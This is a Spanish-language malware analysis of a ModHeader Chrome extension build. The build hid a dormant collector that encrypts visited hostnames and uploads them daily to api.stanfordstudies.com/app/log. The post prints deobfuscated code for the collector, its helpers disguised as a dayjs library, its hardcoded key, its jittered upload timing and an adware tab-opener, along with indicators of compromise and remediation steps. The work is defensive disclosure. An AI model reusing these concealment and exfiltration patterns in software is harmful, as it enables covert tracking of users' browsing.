Malware de ModHeader: por dentro del spyware de Chrome que Google retiró

Creado julio 12, 2026 • Última actualización julio 14, 2026 • 17 min read • 10,944 visitas

Malware de ModHeader: por dentro del spyware de Chrome que Google retiró

Más de 800.000 personas confiaban en esta extensión. Hasta que una mañana, Chrome la desactivó y la marcó como malware. Sin embargo, Google no dio ninguna razón. No hubo ni una nota sobre qué hacía la extensión, ni sobre qué datos estaban en riesgo.

Esa extensión es ModHeader, una popular herramienta para desarrolladores que reescribe las cabeceras HTTP en cada sitio que visitas. Así que una alerta de malware aquí es un asunto serio. Como respuesta, recuperamos del disco el build eliminado y le hicimos ingeniería inversa. Este análisis del malware de ModHeader recorre el caso completo: el pipeline oculto, el análisis forense y los indicadores de compromiso.

TL;DR

Primero, la versión corta. Los detalles vienen después.

Qué: Un build de ModHeader (idgpnmonknjnojddfkpgkljpfnnfcklj, v7.0.18) llevaba un SDK de spyware oculto. Cabe destacar que ese ID es la ficha oficial de ModHeader, y los archivos llevaban firmas de la Chrome Web Store.
Comportamiento: Recolecta los dominios que visitas. Luego cifra la lista con AES-GCM. Por último, envía los datos por POST una vez al día a api.stanfordstudies.com/app/log.
Escondite: Los helpers maliciosos están dentro de un archivo llamado dayjs.min-*.js. Es decir, el payload se hace pasar por una librería de fechas.
Estado: El colector se distribuye latente, detrás de una allowlist vacía ($w = []). Aun así, el endpoint, la clave y el programador de tareas están todos presentes.
Comando y control: No hay ninguno que monitorizar. La subida es unidireccional, así que el servidor no puede enviar comandos de vuelta.
También adware: Además del spyware, abre una pestaña de anuncios en cada actualización y muestra anuncios dentro de la app. Ese comportamiento se activa incluso en equipos corporativos gestionados.
Alcance: ModHeader tiene más de 800.000 usuarios en Chrome, además de una base considerable en Edge. Como el payload viaja en la ficha oficial, toda la base instalada está afectada.
Reconocimiento: El host de exfiltración se esconde detrás de una fachada falsa de "Stanford Studies - Research" y un buzón de correo en Lark. Además, varias señales débiles apuntan a un operador de habla china.
Forense: En la máquina analizada, el spyware nunca llegó a activarse. Sin embargo, la extensión había acumulado localmente las cabeceras HTTP completas de toda la navegación.

Sigue leyendo para ver cómo descubrimos cada uno de estos hechos.

Contexto: por qué importa una alerta de malware en ModHeader

ModHeader es una herramienta popular. Los desarrolladores la usan para modificar las cabeceras HTTP de peticiones y respuestas. Por eso necesita un acceso amplio a tu tráfico. Ese acceso es normal para su función. Pero también convierte a la extensión en un objetivo de alto valor.

Una extensión de confianza marcada como malware es el caso interesante. O bien un clon está usando la marca, o bien una extensión de confianza ahora lleva un payload inyectado. Ambos patrones aparecen a menudo en ataques de cadena de suministro contra extensiones de navegador. Por eso, este análisis del malware de ModHeader trata la alerta como una pista, no como un veredicto.

Dónde están los archivos

La extensión eliminada seguía en el disco. La ruta exacta depende de tu navegador y sistema operativo. En Chrome, revisa aquí:

Chrome
  macOS   : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
  Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
  Linux   : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0

Edge distribuye el mismo payload con un ID distinto. Así que revisa también ahí:

Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
  macOS   : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
  Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
  Linux   : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc

ModHeader no está publicado en Firefox, así que no hay ningún complemento de Mozilla que revisar.

Primer vistazo: manifest y permisos

Empezamos por el manifest. Los permisos te muestran rápido el radio de impacto.

// manifest.json (trimmed)
{
  "name": "ModHeader - Modify HTTP headers",
  "version": "7.0.18",
  "author": "modhader@",                       // note the typo
  "manifest_version": 3,
  "content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
  "host_permissions": ["<all_urls>"],
  "permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
  "update_url": "https://clients2.google.com/service/update2/crx"
}

El conjunto de permisos es amplio. Incluye <all_urls>, webRequest, declarativeNetRequest, scripting y un content script en cada página. Para una herramienta de cabeceras, ese alcance es esperable. Aun así, significa que un build malicioso ya controla tu tráfico web. Curiosamente, el campo author dice modhader@. Esa errata se repite en el código como modhader-tool-root.

La pista: un dominio ajeno al proveedor

Después, extrajimos todos los literales de URL de los bundles. Es el paso de triaje más rápido para código ofuscado.

┌──(kali㉿kali)-[~]

└─$ grep -rohE "https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+" assets | sort -u

La mayoría de los resultados apuntan a modheader.com, el proveedor real. Sin embargo, un host destaca por estar fuera de lugar:

https://api.stanfordstudies.com/app/log

Un dominio de "Stanford studies" no pinta nada dentro de una herramienta de cabeceras. Además, /app/log es una ruta de ingesta genérica. Así que ese fue el hilo del que tirar. Está en un solo archivo: assets/src/background-94ad634d.js.

Ofuscación: el malware de ModHeader escondido dentro de un falso `dayjs`

El payload importa sus helpers de lo que parece la librería de fechas.

import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";

Pero esas exportaciones no tienen nada que ver con fechas. En realidad, son helpers operativos del spyware.

// inside the file named dayjs.min-*.js
const cl = () => {                                   // exported as sf  ->  browser id
  const h = navigator.userAgent.toLowerCase();
  return h.indexOf("edg/") !== -1 ? "edge"
       : h.indexOf("chrome") !== -1 ? "chrome"
       : h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} }         // exported as af -> extract host
const hl = h => new Promise(i => setTimeout(i, h));                     // exported as u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate());  // exported as Za -> midnight

Esto es una distracción deliberada. Un revisor echa un vistazo a los imports, ve "dayjs" y sigue adelante. Como consecuencia, los helpers del malware de ModHeader pasan la revisión a plena vista.

Cómo funciona el pipeline de exfiltración del malware de ModHeader

El diagrama de abajo muestra el flujo completo, desde la navegación hasta la subida. Todos los símbolos que aparecen a continuación son los nombres minificados reales. Tras cada bloque sigue pseudocódigo desofuscado.

Pipeline de exfiltración del malware de ModHeader: recolección de dominios, cifrado AES-GCM y subida diaria a api.stanfordstudies.com

Paso 1: identidad y material criptográfico

Primero, el payload prepara una clave, un endpoint y un fingerprint.

let qo; // the CryptoKey
(async () => {
  qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();

const qw = "https://api.stanfordstudies.com/app/log";
const $w = [];              // browser allowlist  (empty -> dormant)
const Yw = "mod盐header";    // fingerprint salt, note the CJK char 盐 ("salt")

const Hw = async () => {    // fp = SHA-256(current time as string)
  const r = new Date().getTime().toString();
  return await kr(r, "SHA-256");
};

Aquí importan dos cosas.

El "cifrado" es ofuscación, no protección. La clave AES-GCM se distribuye en texto claro. Por tanto, cualquiera que tenga la extensión puede descifrar el payload. Su única función es ocultar el cuerpo de la petición ante una inspección de red superficial.
El fingerprint es un ID de seguimiento estable. Es SHA-256(Date.now()). El código lo genera una vez y luego lo guarda. Como resultado, actúa como un identificador persistente aleatorio.

Paso 2: recolectar el host de cada navegación

Después, el colector registra dominios. Los indexa por un valor cifrado.

async function Zw(url) {
  const domain = af(url);                       // new URL(url).host
  if (domain === globalThis.lastChangeDomain) return;
  globalThis.lastChangeDomain = domain;
  const { settingDB, domainDB, fp, aesIv } = await jw();
  const enc = await Ho.encrypt(qo, domain, aesIv);   // AES-GCM encrypt the hostname
  const count = await domainDB.get(enc, 0);
  await domainDB.put(enc, count + 1);                // encrypted-domain -> visit count
  await Qw(domainDB, settingDB, aesIv);              // maybe upload
}

Así, el almacén asocia cada hostname cifrado con un contador. En resumen, el operador sabe qué sitios visitas y con qué frecuencia. Aquí no se recolectan las URLs completas ni las rutas. Solo el host.

Paso 3: la subida diaria, con jitter según el fingerprint

Luego el código decide cuándo enviar. Sube los datos como máximo una vez al día. Además, espera a una hora fija que es única para tu fingerprint.

async function zw() {
  const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10);       // decimal digest
  const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // hour in [7, 15)
  const now = new Date();
  return Math.round((now - Za(now)) / 1000) / 3600 > n;             // only after this install's hour
}

Este jitter es ingenioso. Cada víctima sube los datos a una hora distinta. En consecuencia, el tráfico es más difícil de detectar en un monitor de red. Tras un envío correcto, el código vacía el almacén local para borrar las pruebas.

Paso 4: el interruptor de apagado es una allowlist vacía

Por último, toda la cadena depende del ciclo de vida de las pestañas. Sin embargo, una comprobación la frena en seco.

chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });

async function Jw(tab, change, info) {
  const browser = sf();
  if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- gate
  const url = change.url || info.url;
  if (!url) return;
  await Zw(url);                                          // record the domain
}

Aquí $w está vacía. Por tanto, $w.indexOf(browser) siempre es -1. Como resultado, la comprobación siempre retorna y Zw nunca se ejecuta. En este build el colector está presente pero latente. Como $w es una constante fija en el código, activarlo requiere una versión nueva. Es decir, el verdadero disparador es una actualización automática.

Lo que el malware de ModHeader no hace

También importa ser preciso sobre lo que no está. Así que buscamos los peores comportamientos y no los encontramos.

Sin ejecución remota de código. No hay eval, ni abuso de new Function, ni import("https://...").
Sin robo de credenciales en la ruta de exfiltración. La subida contiene hostnames, el fingerprint y el tipo de navegador. No envía cookies ni contenido de las páginas.
Las cookies solo se miden, no se envían. Una rutina de métricas lee document.cookie.length para una interfaz que estima el almacenamiento. El valor de la cookie nunca sale de la página.
Las cabeceras capturadas se quedan en local. Los listeners de cabeceras escriben en el almacenamiento local para la vista de historial de la propia extensión.

También era adware: pestañas de anuncios en cada actualización

El spyware estaba latente. El adware no. Los usuarios informaron de que se abrían pestañas de anuncios una y otra vez, incluso en equipos corporativos bloqueados. El código explica por qué.

En cada actualización, la extensión fuerza la apertura de una nueva pestaña activa hacia una red de afiliados.

chrome.runtime.onInstalled.addListener(async (r) => {
  // ... also sets an uninstall URL that pings extensions-hub.com ...
  if (r.reason === "install") {
    // install tab opens only when there are no managed (enterprise) profiles
    if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
  }
  if (r.reason === "update") {
    // no such guard here, so this fires on EVERY update, managed machines included
    chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
  }
});

Destacan dos cosas.

Cada actualización abre una pestaña. Las extensiones se actualizan en silencio y a menudo. Así que la pestaña de anuncios vuelve una y otra vez, lo que coincide con las quejas.
Los equipos corporativos no se libran. La pestaña de instalación se omite cuando existen perfiles gestionados. Sin embargo, la pestaña de actualización no tiene esa comprobación. Por tanto, los despliegues corporativos siguen recibiendo las pestañas de anuncios.

Hay un segundo canal de anuncios dentro de la propia extensión. El popup obtiene la configuración de anuncios del proveedor y puede mostrar o cerrar anuncios.

GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad

La interfaz incluso explica el modelo con todas las letras: "Pausando anuncios temporalmente. Para eliminar los anuncios de forma permanente, considera pasar a un plan de pago, o bajar a un plan limitado para dejar de recibir anuncios."

Así que la extensión incluía adware declarado además del spyware encubierto. Son dos cosas separadas. El adware es visible y molesto, mientras que el spyware es silencioso. Juntos explican tanto las quejas de los usuarios como la alerta de malware.

Forense: ¿llegó a activarse alguna vez el malware de ModHeader?

La base IndexedDB de la extensión sobrevivió a la eliminación. Pesaba unos 178 MB.

~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb

Así que la escaneamos en busca de marcadores de subida.

┌──(kali㉿kali)-[~]

└─$ strings -a *.ldb *.log | grep -aoiE "stanfordstudies|/app/log|lastUploadDate|uploadRecord"

Los resultados fueron claros:

stanfordstudies devolvió cero coincidencias en los 178 MB completos.
lastUploadDate y uploadRecord devolvieron cero coincidencias.
El almacén de dominios temp estaba prácticamente vacío.

Por tanto, en este perfil, el colector nunca registró un dominio y nunca subió nada. Eso encaja exactamente con la comprobación latente $w = []. En resumen, tu lista de dominios visitados no salió de la máquina.

La sorpresa de los 178 MB: un almacén local de cabeceras

Sin embargo, algo sí llenó 178 MB. La propia función de "historial" de la extensión guardaba las cabeceras completas de petición y respuesta de cada página. Las claves dominantes eran requestHeaders, responseHeaders, details y tabStartTime.

Estos datos nunca salieron del disco. Aun así, son sensibles en reposo. Las cabeceras suelen contener tokens de Authorization, cookies de sesión y URLs internas. Así que deberías borrar este almacén, tanto si el spyware se activó como si no.

¿Dónde está el comando y control?

Muchos lectores hacen una pregunta razonable. ¿Hay un canal de C2 que monitorizar? En resumen, no.

La subida es estrictamente unidireccional. El cuerpo de la respuesta del fetch nunca se lee. No hay .json(), ni .text(), ni comprobación de .ok sobre la respuesta. Además, las constantes operativas están fijadas en el código y nunca se reasignan desde un servidor. Por tanto, api.stanfordstudies.com es un buzón de entrega (drop box), no un controlador. No puede dar órdenes a la extensión.

El verdadero canal de control es la actualización automática de la extensión. Para activar el colector latente, un operador tiene que publicar una versión nueva. Ese es exactamente el vector que las tiendas neutralizan cuando retiran una extensión.

Reconocimiento del dominio: ¿es realmente malicioso este endpoint del malware de ModHeader?

No nos quedamos en el código. Además, perfilamos el dominio de exfiltración con reconocimiento pasivo y activo. Esto es lo que revela la propia infraestructura.

`api.stanfordstudies.com` es un endpoint de exfiltración disfrazado

Primero, el nombre es engañoso. La fachada pública en www.stanfordstudies.com lleva el título "Stanford Studies - Research". Sin embargo, no tiene ningún vínculo con la Universidad de Stanford. Además, la página es un cascarón vacío. No hay organización de investigación, ni política de privacidad, ni contacto. En cambio, un estudio legítimo de recolección de datos publica las tres cosas.

Segundo, el host de la API se comporta como un buzón de entrega, no como un sitio web.

El dominio se creó el 2022-05-09 a través de Squarespace. Su WHOIS está oculto por privacidad.
Su correo pasa por larksuite.com (Lark / Feishu). Esto apunta a un operador de habla china. Cabe destacar que encaja con la cadena 盐 ("sal") incrustada en el código.
api.stanfordstudies.com resuelve a un único host EC2 de AWS (3.147.61.167, región us-east-2).
Una sonda contra la dirección raíz agotó el tiempo de espera. Por tanto, el host solo responde en su ruta de ingesta, no al tráfico web normal.
Por último, urlscan.io tiene registros del endpoint exacto api.stanfordstudies.com/app/log. También tiene escaneos del host que se remontan a noviembre de 2023.

En conjunto, esto es un endpoint de ingesta encubierto disfrazado de investigación académica. Por eso lo calificamos de malicioso.

De dónde viene la infraestructura

Luego rastreamos el hosting y su historial. El resultado es una infraestructura genérica, protegida por privacidad, con un pasado más largo del que sugiere su documentación.

Host. El endpoint se ejecuta en una única instancia AWS EC2, 3.147.61.167, con DNS inverso ec2-3-147-61-167.us-east-2.compute.amazonaws.com. Eso lo sitúa en AWS us-east-2 (Columbus, Ohio, AS16509 Amazon).
Más antiguo de lo que parece. El WHOIS indica una fecha de creación en 2022. Sin embargo, la transparencia de certificados muestra certificados para el dominio desde 2017. Así que el nombre es anterior al registro actual, lo que apunta a un nuevo registro o a un cambio de propietario.
Sigue activo. El certificado más reciente se emitió en marzo de 2026. Mientras tanto, urlscan.io registró el endpoint /app/log a lo largo de 2025 y de nuevo en julio de 2026.
Una operación real. Además de api y www, el dominio expone los subdominios dev, devlog y devos. Eso es un entorno de desarrollo y operaciones mantenido, no algo desechable.

Aun así, el WHOIS del registrador está oculto por privacidad, y los servidores están en rangos compartidos de AWS. Por tanto, el rastro se queda a un paso de un nombre.

Contexto de cadena de suministro: este es el ID oficial de ModHeader

Un detalle eleva lo que está en juego. El ID de extensión idgpnmonknjnojddfkpgkljpfnnfcklj es la ficha oficial de ModHeader, que da servicio a más de 800.000 usuarios. Además, el build venía con firmas de la Chrome Web Store (_metadata/verified_contents.json). Como Chrome se niega a ejecutar archivos manipulados, el código analizado es la distribución firmada, no un clon modificado en local.

Sin embargo, solo con el binario no podemos probar quién añadió el payload. Podría deberse a una transferencia de propiedad, a un SDK de monetización inyectado o a una decisión del proveedor. Ese patrón está bien documentado en el sector. Por eso, presentamos las pruebas y dejamos abierta la cuestión de la autoría.

Veredicto por dominio

Dominio	Papel en el malware de ModHeader	Infraestructura	Veredicto
`api.stanfordstudies.com`	Ingesta de los dominios recolectados y cifrados	AWS EC2, raíz inaccesible, disfraz de "Stanford", correo en Lark	Malicioso
`www.extensions-hub.com`	Adware: pestaña de anuncios abierta en cada actualización	AWS S3 + CloudFront, SaaS de afiliados, compartido entre extensiones	Adware invasivo para la privacidad
`modheader.com`	Sincronización en la nube del proveedor (mostrado como contraste)	AWS + Google Workspace, transparente	Legítimo

Alcance y atribución: ¿quién está expuesto y quién está detrás?

Cuántos usuarios están expuestos

El radio de impacto es grande, porque esta es la ficha principal. Además, abarca dos navegadores.

Chrome: más de 800.000 instalaciones, publicada como "ModHeader".
Edge: la misma extensión se distribuye con el ID opgbiafapkbbnbnjcdomjaghbckfkglc, con una base de instalaciones propia considerable. Microsoft la retiró de la tienda Edge Add-ons el 2026-07-03.
Firefox: no existe un complemento oficial de ModHeader, así que los usuarios de Firefox no están afectados.
Valoración: 2,91 estrellas con 1.226 votos. Es una cifra inusualmente baja para una herramienta de desarrollo con tantos años.
Idiomas de la ficha: inglés y chino simplificado (zh-CN).
Última actualización de la ficha: 2026-07-01, que coincide con el build v7.0.18 analizado.

La valoración baja no es casualidad. Reseñas recientes ya señalan la extensión por su comportamiento de adware y sus anuncios de afiliados. Sin embargo, esos anuncios están declarados, y la extensión ofrece una forma de desactivarlos. Por tanto, son una queja aparte y visible. El colector de stanfordstudies.com es lo contrario. Es encubierto, va cifrado y no ofrece ni aviso ni opción de desactivarlo. Así que no confundas las dos cosas: los anuncios declarados son un problema de confianza, mientras que la recolección oculta de dominios es el verdadero spyware.

Señales del actor de amenazas (confianza baja)

Solo podemos esbozar al operador a grandes rasgos. Importante: no señalamos a ningún grupo, y ninguna de estas señales es una prueba.

Correo en Lark. El dominio de exfiltración enruta su correo a través de larksuite.com (Lark / Feishu), una suite habitual entre equipos de habla china.
Una cadena en chino en el código. La sal del fingerprint incluye el carácter 盐, que significa "sal".
Elementos en idioma chino. La ficha incluye una traducción al chino simplificado, y el content script trata baidu.com como un caso especial.
Una fachada de bandera falsa. La página de "Stanford Studies" toma prestado el nombre de una universidad estadounidense de prestigio. Claramente, eso es una distracción, no una afiliación real.

En conjunto, estas señales apuntan débilmente a un operador de habla china. Aun así, la infraestructura está en AWS y el WHOIS está oculto por privacidad. Por eso, no podemos vincularlo a un actor concreto solo con fuentes abiertas.

Evaluación de impacto

Este es el riesgo de un vistazo.

Vector	Estado en v7.0.18	Datos expuestos	Gravedad
Recolección de dominios hacia `stanfordstudies.com`	Latente; nunca se activó	Hostnames visitados, fingerprint, navegador	Capacidad alta
Pestañas de anuncios + anuncios dentro de la app	Activo	Nueva pestaña en cada actualización, incl. equipos gestionados	Media (no deseado)
Historial local de cabeceras	Activo, solo local	Cabeceras completas de toda la navegación	Media en reposo
Alcance de los permisos	Concedido	Leer y modificar todo el tráfico HTTP	Potencial alto

En pocas palabras, en esta máquina no se exfiltró nada. Pero el malware de ModHeader incluía un pipeline de spyware completo, con su clave y su endpoint listos. Estaba a un cambio de código de activarse. Mientras tanto, almacenaba localmente datos sensibles de cabeceras. Esa combinación justifica de sobra una retirada.

Detección y remediación

Si eres un usuario afectado

Sigue estos pasos en orden.

Confirma que el navegador desactivó la extensión. Chrome y Edge suelen hacerlo automáticamente.
Borra los directorios de almacenamiento residuales que se indican abajo.
Bloquea y registra las consultas DNS a api.stanfordstudies.com.
Reinstala una herramienta de cabeceras solo desde una fuente de confianza.

Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj

En Edge, las mismas carpetas están bajo Microsoft Edge/ en lugar de Google/Chrome/, y el ID de la extensión es opgbiafapkbbnbnjcdomjaghbckfkglc.

Si defiendes una flota de equipos

Usa estas búsquedas y heurísticas.

Busca con grep en los directorios de extensiones desempaquetadas las cadenas IOC de abajo.
Genera una alerta para cualquier extensión que envíe por POST un cuerpo opaco y cifrado a un dominio ajeno al proveedor.
Marca como code smell los helpers operativos exportados desde un archivo de librería de terceros.

Indicadores de compromiso

Usa estos IOC para buscar el mismo SDK del malware de ModHeader en otros lugares.

Red

api.stanfordstudies.com          (spyware exfil: POST /app/log)
www.extensions-hub.com           (adware: ad tab opened on every update)
modheader.com/api/ad-settings    (adware: in-app ad config)

Extensión

Chrome ID  : idgpnmonknjnojddfkpgkljpfnnfcklj
Edge ID    : opgbiafapkbbnbnjcdomjaghbckfkglc
Firefox    : no official ModHeader add-on on AMO
Name       : ModHeader - Modify HTTP headers
Version    : 7.0.18

Cadenas estáticas

Hardcoded AES-GCM key : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
Fingerprint salt      : mod盐header   (contains U+76D0 盐)
Exfil endpoint        : https://api.stanfordstudies.com/app/log

Archivos (hashes de Vite de este build)

assets/src/background-94ad634d.js    (payload)
assets/dayjs.min-6a736ee8.js         (disguised helpers)

Mapa de símbolos

Como referencia, este es el mapa de cada nombre minificado y su significado.

Minificado	Significado
`qw`	URL de exfiltración `api.stanfordstudies.com/app/log`
`$w`	comprobación de la allowlist de navegadores (vacía = latente)
`Yw`	sal del fingerprint `mod盐header`
`qo`	clave AES-GCM importada
`Hw`	`fp = SHA-256(Date.now())` como ID de instalación
`Zw`	registra un dominio visitado
`Qw`	decisión de subida + vaciado tras un envío correcto
`zw`	comprobación de hora del día según el fingerprint
`sf` / `af` / `Za` / `u0`	id del navegador / host / medianoche / espera

Lecturas adicionales

Para un contexto más amplio sobre cómo las extensiones de confianza se vuelven hostiles, consulta los siguientes informes externos.

Este análisis combina análisis estático y forense en disco de un único build instalado. No afirmamos ninguna atribución. Si puedes confirmar si la Web Store oficial distribuyó exactamente este build, ponte en contacto con HackIndex Research.

Compartir artículo

Malware de ModHeader: por dentro del spyware de Chrome que Google retiró